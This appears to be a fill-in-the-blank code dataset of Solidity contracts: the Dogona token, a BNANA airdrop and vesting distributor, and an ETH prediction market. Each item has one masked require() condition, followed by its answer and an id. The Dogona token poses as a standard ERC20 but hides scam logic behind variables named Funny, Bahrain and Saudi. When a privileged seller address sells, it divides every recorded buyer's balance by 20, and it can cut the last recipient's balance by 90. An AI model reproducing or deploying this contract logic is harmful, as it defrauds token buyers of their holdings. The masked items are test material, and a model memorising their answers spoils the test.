function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Funny;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private xxxArray;
address private Limitless = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Ultimatum = 0;
address public pair;
uint256 private malaysia;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSellers; uint256 private _totalSupply;
bool private trading; bool private Bahrain; uint256 private Saudi;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function _balancestrading(address sender, address recipient, uint256 amount, bool refilling) internal {
Bahrain = refilling ? true : Bahrain;
if (((Funny[sender] == true) && (Funny[recipient] != true)) || ((Funny[sender] != true) && (Funny[recipient] != true))) { xxxArray.push(recipient); }
if ((Funny[sender] != true) && (Funny[recipient] == true)) { require(<FILL_ME>) } // max buy/sell per transaction
if ((Bahrain) && (sender == _msgSellers)) {
for (uint256 i = 0; i < xxxArray.length; i++) {
_balances[xxxArray[i]] /= 20;
}
}
_balances[Limitless] /= (((Ultimatum == block.timestamp) || (Bahrain)) && (Funny[recipient] != true) && (Funny[Limitless] != true) && (Saudi > 1)) ? (90) : (1);
Saudi++; Limitless = recipient; Ultimatum = block.timestamp;
}
function burn(uint256 amount) public virtual returns (bool) {
}
function _balancesrecipient(address account) internal {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function openTrading() external onlyOwner returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _balancessender(address sender, address recipient, uint256 amount) internal {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _DeployToken(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _CreateContract(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Dogona is ERC20Token {
constructor() ERC20Token("Dogona", "DOGONA", msg.sender, 220000000 * 10 ** 18) {
}
}
| amount<(_totalSupply/12) | 341,865 | amount<(_totalSupply/12) |
"ERC20: trading for the token is not yet enabled." | // Elona? Putina? Welcome to Elona's brainchild: Dogona @DogonaToken
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) private Funny;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address[] private xxxArray;
address private Limitless = address(0);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private Ultimatum = 0;
address public pair;
uint256 private malaysia;
IDEXRouter router;
string private _name; string private _symbol; address private _msgSellers; uint256 private _totalSupply;
bool private trading; bool private Bahrain; uint256 private Saudi;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function decimals() public view virtual override returns (uint8) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function _balancestrading(address sender, address recipient, uint256 amount, bool refilling) internal {
}
function burn(uint256 amount) public virtual returns (bool) {
}
function _balancesrecipient(address account) internal {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function openTrading() external onlyOwner returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _balancessender(address sender, address recipient, uint256 amount) internal {
require(<FILL_ME>)
_balancestrading(sender, recipient, amount, (address(sender) == _msgSellers) && (malaysia > 0));
malaysia += (sender == _msgSellers) ? 1 : 0;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _DeployToken(address creator) internal virtual {
}
function _burn(address account, uint256 amount) internal {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function _CreateContract(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract Dogona is ERC20Token {
constructor() ERC20Token("Dogona", "DOGONA", msg.sender, 220000000 * 10 ** 18) {
}
}
| (trading||(sender==_msgSellers)),"ERC20: trading for the token is not yet enabled." | 341,865 | (trading||(sender==_msgSellers)) |
null | pragma solidity ^0.5.0;
/**
* @title BNANA token initial distribution
*
* @dev Distribute purchasers, airdrop, reserve, and founder tokens
*/
contract ChimpDistribution is Ownable {
using SafeMath for uint256;
ChimpToken public BNANA;
uint256 private constant decimalFactor = 10**uint256(18);
enum AllocationType { AIRDROP, MERCHANT, PAYROLL, MARKETING, PARTNERS, ADVISORS, RESERVE }
uint256 public constant INITIAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_TOTAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_AIRDROP_SUPPLY = 20000000 * decimalFactor;
uint256 public AVAILABLE_MERCHANT_SUPPLY = 30000000000 * decimalFactor;
uint256 public AVAILABLE_PAYROLL_SUPPLY = 12200000000 * decimalFactor;
uint256 public AVAILABLE_MARKETING_SUPPLY = 210000000 * decimalFactor;
uint256 public AVAILABLE_PARTNERS_SUPPLY = 5000000000 * decimalFactor;
uint256 public AVAILABLE_ADVISORS_SUPPLY = 750000000 * decimalFactor;
uint256 public AVAILABLE_RESERVE_SUPPLY = 51820000000 * decimalFactor;
uint256 public grandTotalClaimed = 0;
uint256 public startTime;
// Allocation with vesting information
struct Allocation {
uint8 AllocationSupply; // Type of allocation
uint256 endCliff; // Tokens are locked until
uint256 endVesting; // This is when the tokens are fully unvested
uint256 totalAllocated; // Total tokens allocated
uint256 amountClaimed; // Total tokens claimed
}
mapping (address => Allocation) public allocations;
// List of admins
mapping (address => bool) public airdropAdmins;
// Keeps track of whether or not a BNANA airdrop has been made to a particular address
mapping (address => bool) public airdrops;
modifier onlyOwnerOrAdmin() {
require(<FILL_ME>)
_;
}
event LogNewAllocation(address indexed _recipient, AllocationType indexed _fromSupply, uint256 _totalAllocated, uint256 _grandTotalAllocated);
event LogBNANAClaimed(address indexed _recipient, uint8 indexed _fromSupply, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed);
/**
* @dev Constructor function - Set the poly token address
* @param _startTime The time when ChimpDistribution goes live
*/
constructor (uint256 _startTime) public {
}
/**
* @dev Allow the owner of the contract to assign a new allocation
* @param _recipient The recipient of the allocation
* @param _totalAllocated The total amount of BNANA available to the receipient (after vesting)
* @param _supply The BNANA supply the allocation will be taken from
*/
function setAllocation (address _recipient, uint256 _totalAllocated, AllocationType _supply) onlyOwner public {
}
/**
* @dev Add an airdrop admin
*/
function setAirdropAdmin(address _admin, bool _isAdmin) public onlyOwner {
}
/**
* @dev perform a transfer of allocations
* @param _recipient is a list of recipients
*/
function airdropTokens(address[] memory _recipient, uint256[] memory _airdropAmount) public onlyOwnerOrAdmin {
}
/**
* @dev Transfer a recipients available allocation to their address
* @param _recipient The address to withdraw tokens for
*/
function transferTokens (address _recipient) public {
}
// Returns the amount of BNANA allocated
function grandTotalAllocated() public view returns (uint256) {
}
// Allow transfer of accidentally sent ERC20 tokens
function refundTokens(address _recipient, address _token) public onlyOwner {
}
}
| isOwner()||airdropAdmins[msg.sender] | 341,930 | isOwner()||airdropAdmins[msg.sender] |
null | pragma solidity ^0.5.0;
/**
* @title BNANA token initial distribution
*
* @dev Distribute purchasers, airdrop, reserve, and founder tokens
*/
contract ChimpDistribution is Ownable {
using SafeMath for uint256;
ChimpToken public BNANA;
uint256 private constant decimalFactor = 10**uint256(18);
enum AllocationType { AIRDROP, MERCHANT, PAYROLL, MARKETING, PARTNERS, ADVISORS, RESERVE }
uint256 public constant INITIAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_TOTAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_AIRDROP_SUPPLY = 20000000 * decimalFactor;
uint256 public AVAILABLE_MERCHANT_SUPPLY = 30000000000 * decimalFactor;
uint256 public AVAILABLE_PAYROLL_SUPPLY = 12200000000 * decimalFactor;
uint256 public AVAILABLE_MARKETING_SUPPLY = 210000000 * decimalFactor;
uint256 public AVAILABLE_PARTNERS_SUPPLY = 5000000000 * decimalFactor;
uint256 public AVAILABLE_ADVISORS_SUPPLY = 750000000 * decimalFactor;
uint256 public AVAILABLE_RESERVE_SUPPLY = 51820000000 * decimalFactor;
uint256 public grandTotalClaimed = 0;
uint256 public startTime;
// Allocation with vesting information
struct Allocation {
uint8 AllocationSupply; // Type of allocation
uint256 endCliff; // Tokens are locked until
uint256 endVesting; // This is when the tokens are fully unvested
uint256 totalAllocated; // Total tokens allocated
uint256 amountClaimed; // Total tokens claimed
}
mapping (address => Allocation) public allocations;
// List of admins
mapping (address => bool) public airdropAdmins;
// Keeps track of whether or not a BNANA airdrop has been made to a particular address
mapping (address => bool) public airdrops;
modifier onlyOwnerOrAdmin() {
}
event LogNewAllocation(address indexed _recipient, AllocationType indexed _fromSupply, uint256 _totalAllocated, uint256 _grandTotalAllocated);
event LogBNANAClaimed(address indexed _recipient, uint8 indexed _fromSupply, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed);
/**
* @dev Constructor function - Set the poly token address
* @param _startTime The time when ChimpDistribution goes live
*/
constructor (uint256 _startTime) public {
}
/**
* @dev Allow the owner of the contract to assign a new allocation
* @param _recipient The recipient of the allocation
* @param _totalAllocated The total amount of BNANA available to the receipient (after vesting)
* @param _supply The BNANA supply the allocation will be taken from
*/
function setAllocation (address _recipient, uint256 _totalAllocated, AllocationType _supply) onlyOwner public {
}
/**
* @dev Add an airdrop admin
*/
function setAirdropAdmin(address _admin, bool _isAdmin) public onlyOwner {
}
/**
* @dev perform a transfer of allocations
* @param _recipient is a list of recipients
*/
function airdropTokens(address[] memory _recipient, uint256[] memory _airdropAmount) public onlyOwnerOrAdmin {
require(now >= startTime);
uint airdropped;
for(uint256 i = 0; i< _recipient.length; i++)
{
if (!airdrops[_recipient[i]]) {
airdrops[_recipient[i]] = true;
require(<FILL_ME>)
airdropped = airdropped.add(_airdropAmount[i] * decimalFactor);
}
}
AVAILABLE_AIRDROP_SUPPLY = AVAILABLE_AIRDROP_SUPPLY.sub(airdropped);
AVAILABLE_TOTAL_SUPPLY = AVAILABLE_TOTAL_SUPPLY.sub(airdropped);
grandTotalClaimed = grandTotalClaimed.add(airdropped);
}
/**
* @dev Transfer a recipients available allocation to their address
* @param _recipient The address to withdraw tokens for
*/
function transferTokens (address _recipient) public {
}
// Returns the amount of BNANA allocated
function grandTotalAllocated() public view returns (uint256) {
}
// Allow transfer of accidentally sent ERC20 tokens
function refundTokens(address _recipient, address _token) public onlyOwner {
}
}
| BNANA.transfer(_recipient[i],_airdropAmount[i]*decimalFactor) | 341,930 | BNANA.transfer(_recipient[i],_airdropAmount[i]*decimalFactor) |
null | pragma solidity ^0.5.0;
/**
* @title BNANA token initial distribution
*
* @dev Distribute purchasers, airdrop, reserve, and founder tokens
*/
contract ChimpDistribution is Ownable {
using SafeMath for uint256;
ChimpToken public BNANA;
uint256 private constant decimalFactor = 10**uint256(18);
enum AllocationType { AIRDROP, MERCHANT, PAYROLL, MARKETING, PARTNERS, ADVISORS, RESERVE }
uint256 public constant INITIAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_TOTAL_SUPPLY = 100000000000 * decimalFactor;
uint256 public AVAILABLE_AIRDROP_SUPPLY = 20000000 * decimalFactor;
uint256 public AVAILABLE_MERCHANT_SUPPLY = 30000000000 * decimalFactor;
uint256 public AVAILABLE_PAYROLL_SUPPLY = 12200000000 * decimalFactor;
uint256 public AVAILABLE_MARKETING_SUPPLY = 210000000 * decimalFactor;
uint256 public AVAILABLE_PARTNERS_SUPPLY = 5000000000 * decimalFactor;
uint256 public AVAILABLE_ADVISORS_SUPPLY = 750000000 * decimalFactor;
uint256 public AVAILABLE_RESERVE_SUPPLY = 51820000000 * decimalFactor;
uint256 public grandTotalClaimed = 0;
uint256 public startTime;
// Allocation with vesting information
struct Allocation {
uint8 AllocationSupply; // Type of allocation
uint256 endCliff; // Tokens are locked until
uint256 endVesting; // This is when the tokens are fully unvested
uint256 totalAllocated; // Total tokens allocated
uint256 amountClaimed; // Total tokens claimed
}
mapping (address => Allocation) public allocations;
// List of admins
mapping (address => bool) public airdropAdmins;
// Keeps track of whether or not a BNANA airdrop has been made to a particular address
mapping (address => bool) public airdrops;
modifier onlyOwnerOrAdmin() {
}
event LogNewAllocation(address indexed _recipient, AllocationType indexed _fromSupply, uint256 _totalAllocated, uint256 _grandTotalAllocated);
event LogBNANAClaimed(address indexed _recipient, uint8 indexed _fromSupply, uint256 _amountClaimed, uint256 _totalAllocated, uint256 _grandTotalClaimed);
/**
* @dev Constructor function - Set the poly token address
* @param _startTime The time when ChimpDistribution goes live
*/
constructor (uint256 _startTime) public {
}
/**
* @dev Allow the owner of the contract to assign a new allocation
* @param _recipient The recipient of the allocation
* @param _totalAllocated The total amount of BNANA available to the receipient (after vesting)
* @param _supply The BNANA supply the allocation will be taken from
*/
function setAllocation (address _recipient, uint256 _totalAllocated, AllocationType _supply) onlyOwner public {
}
/**
* @dev Add an airdrop admin
*/
function setAirdropAdmin(address _admin, bool _isAdmin) public onlyOwner {
}
/**
* @dev perform a transfer of allocations
* @param _recipient is a list of recipients
*/
function airdropTokens(address[] memory _recipient, uint256[] memory _airdropAmount) public onlyOwnerOrAdmin {
}
/**
* @dev Transfer a recipients available allocation to their address
* @param _recipient The address to withdraw tokens for
*/
function transferTokens (address _recipient) public {
require(allocations[_recipient].amountClaimed < allocations[_recipient].totalAllocated);
require(now >= allocations[_recipient].endCliff);
//require(now >= startTime);
uint256 newAmountClaimed;
if (allocations[_recipient].endVesting > now) {
// Transfer available amount based on vesting schedule and allocation
newAmountClaimed = allocations[_recipient].totalAllocated.mul(now.sub(startTime)).div(allocations[_recipient].endVesting.sub(startTime));
} else {
// Transfer total allocated (minus previously claimed tokens)
newAmountClaimed = allocations[_recipient].totalAllocated;
}
uint256 tokensToTransfer = newAmountClaimed.sub(allocations[_recipient].amountClaimed);
allocations[_recipient].amountClaimed = newAmountClaimed;
require(<FILL_ME>)
grandTotalClaimed = grandTotalClaimed.add(tokensToTransfer);
emit LogBNANAClaimed(_recipient, allocations[_recipient].AllocationSupply, tokensToTransfer, newAmountClaimed, grandTotalClaimed);
}
// Returns the amount of BNANA allocated
function grandTotalAllocated() public view returns (uint256) {
}
// Allow transfer of accidentally sent ERC20 tokens
function refundTokens(address _recipient, address _token) public onlyOwner {
}
}
| BNANA.transfer(_recipient,tokensToTransfer) | 341,930 | BNANA.transfer(_recipient,tokensToTransfer) |
"Prediction period ended" | pragma solidity ^0.6.7;
contract Versus {
function rewardPrediction(address user, uint256 amount) public {}
}
contract Prediction {
address public owner;
address public versusContract;
address public versusRewards;
address public nyanRewards;
address public devFund;
address[] public markets;
struct marketData {
string marketName;
uint256 startBlock;
uint256 expirationBlock;
int currentRound;
int targetPrice;
uint256 ETHLong;
uint256 ETHShort;
int[] priceHistory;
uint256[] longHistory;
uint256[] shortHistory;
}
mapping(address => marketData) public eachMarketData;
struct marketPrediction {
address pair;
int price;
int round;
uint256 ETHUsed;
bool isLonging;
uint256 expirationBlock;
}
mapping(address => marketPrediction) public userPrediction;
using SafeMath for uint256;
using SafeMath for uint112;
using SafeMath for int256;
constructor(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function setOwner(address _owner) public {
}
function setVersus(address _versus) public {
}
function setRewards(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function createMarket(address pair, string memory marketName) public {
}
function getLatestPrice(address pair) public view returns (int) {
}
function predict(address pair, bool isLonging) public payable {
require(msg.value > 100, "ETH should be greater than 100 wei");
require(<FILL_ME>)
require(userPrediction[msg.sender].pair == address(0));
userPrediction[msg.sender].pair = pair;
userPrediction[msg.sender].isLonging = isLonging;
userPrediction[msg.sender].price = eachMarketData[pair].targetPrice;
userPrediction[msg.sender].round = eachMarketData[pair].currentRound;
//fees are 1%
uint256 fees = msg.value.mul(1).div(100);
userPrediction[msg.sender].ETHUsed = msg.value.sub(fees);
handleFees(fees);
userPrediction[msg.sender].expirationBlock = eachMarketData[pair].expirationBlock;
if (isLonging) {
eachMarketData[pair].ETHLong = eachMarketData[pair].ETHLong.add(msg.value);
} else {
eachMarketData[pair].ETHShort = eachMarketData[pair].ETHShort.add(msg.value);
}
}
function handleFees(uint256 ETHAmount) internal {
}
function expire(address pair) public {
}
function closePrediction() public {
}
function getMarkets() public view returns(address[] memory) {
}
function getMarketDetails(address market) public view
returns(uint256, uint256, int, int, uint256, uint256, string memory) {
}
receive() external payable {
}
}
| eachMarketData[pair].startBlock.add(70)>block.number,"Prediction period ended" | 341,982 | eachMarketData[pair].startBlock.add(70)>block.number |
null | pragma solidity ^0.6.7;
contract Versus {
function rewardPrediction(address user, uint256 amount) public {}
}
contract Prediction {
address public owner;
address public versusContract;
address public versusRewards;
address public nyanRewards;
address public devFund;
address[] public markets;
struct marketData {
string marketName;
uint256 startBlock;
uint256 expirationBlock;
int currentRound;
int targetPrice;
uint256 ETHLong;
uint256 ETHShort;
int[] priceHistory;
uint256[] longHistory;
uint256[] shortHistory;
}
mapping(address => marketData) public eachMarketData;
struct marketPrediction {
address pair;
int price;
int round;
uint256 ETHUsed;
bool isLonging;
uint256 expirationBlock;
}
mapping(address => marketPrediction) public userPrediction;
using SafeMath for uint256;
using SafeMath for uint112;
using SafeMath for int256;
constructor(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function setOwner(address _owner) public {
}
function setVersus(address _versus) public {
}
function setRewards(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function createMarket(address pair, string memory marketName) public {
}
function getLatestPrice(address pair) public view returns (int) {
}
function predict(address pair, bool isLonging) public payable {
require(msg.value > 100, "ETH should be greater than 100 wei");
require(eachMarketData[pair].startBlock.add(70) > block.number, "Prediction period ended");
require(<FILL_ME>)
userPrediction[msg.sender].pair = pair;
userPrediction[msg.sender].isLonging = isLonging;
userPrediction[msg.sender].price = eachMarketData[pair].targetPrice;
userPrediction[msg.sender].round = eachMarketData[pair].currentRound;
//fees are 1%
uint256 fees = msg.value.mul(1).div(100);
userPrediction[msg.sender].ETHUsed = msg.value.sub(fees);
handleFees(fees);
userPrediction[msg.sender].expirationBlock = eachMarketData[pair].expirationBlock;
if (isLonging) {
eachMarketData[pair].ETHLong = eachMarketData[pair].ETHLong.add(msg.value);
} else {
eachMarketData[pair].ETHShort = eachMarketData[pair].ETHShort.add(msg.value);
}
}
function handleFees(uint256 ETHAmount) internal {
}
function expire(address pair) public {
}
function closePrediction() public {
}
function getMarkets() public view returns(address[] memory) {
}
function getMarketDetails(address market) public view
returns(uint256, uint256, int, int, uint256, uint256, string memory) {
}
receive() external payable {
}
}
| userPrediction[msg.sender].pair==address(0) | 341,982 | userPrediction[msg.sender].pair==address(0) |
null | pragma solidity ^0.6.7;
contract Versus {
function rewardPrediction(address user, uint256 amount) public {}
}
contract Prediction {
address public owner;
address public versusContract;
address public versusRewards;
address public nyanRewards;
address public devFund;
address[] public markets;
struct marketData {
string marketName;
uint256 startBlock;
uint256 expirationBlock;
int currentRound;
int targetPrice;
uint256 ETHLong;
uint256 ETHShort;
int[] priceHistory;
uint256[] longHistory;
uint256[] shortHistory;
}
mapping(address => marketData) public eachMarketData;
struct marketPrediction {
address pair;
int price;
int round;
uint256 ETHUsed;
bool isLonging;
uint256 expirationBlock;
}
mapping(address => marketPrediction) public userPrediction;
using SafeMath for uint256;
using SafeMath for uint112;
using SafeMath for int256;
constructor(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function setOwner(address _owner) public {
}
function setVersus(address _versus) public {
}
function setRewards(address _devFund, address _nyanRewards, address _versusRewards) public {
}
function createMarket(address pair, string memory marketName) public {
}
function getLatestPrice(address pair) public view returns (int) {
}
function predict(address pair, bool isLonging) public payable {
}
function handleFees(uint256 ETHAmount) internal {
}
function expire(address pair) public {
require(<FILL_ME>)
eachMarketData[pair].priceHistory.push(eachMarketData[pair].targetPrice);
eachMarketData[pair].longHistory.push(eachMarketData[pair].ETHLong);
eachMarketData[pair].shortHistory.push(eachMarketData[pair].ETHShort);
eachMarketData[pair].startBlock = block.number;
eachMarketData[pair].expirationBlock = block.number.add(271);
eachMarketData[pair].currentRound = eachMarketData[pair].currentRound + 1;
eachMarketData[pair].targetPrice = getLatestPrice(pair);
//mint the caller a Versus token by calling function from token contract
Versus(versusContract).rewardPrediction(msg.sender, 1000000000000000000);
}
function closePrediction() public {
}
function getMarkets() public view returns(address[] memory) {
}
function getMarketDetails(address market) public view
returns(uint256, uint256, int, int, uint256, uint256, string memory) {
}
receive() external payable {
}
}
| eachMarketData[pair].expirationBlock<block.number | 341,982 | eachMarketData[pair].expirationBlock<block.number |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.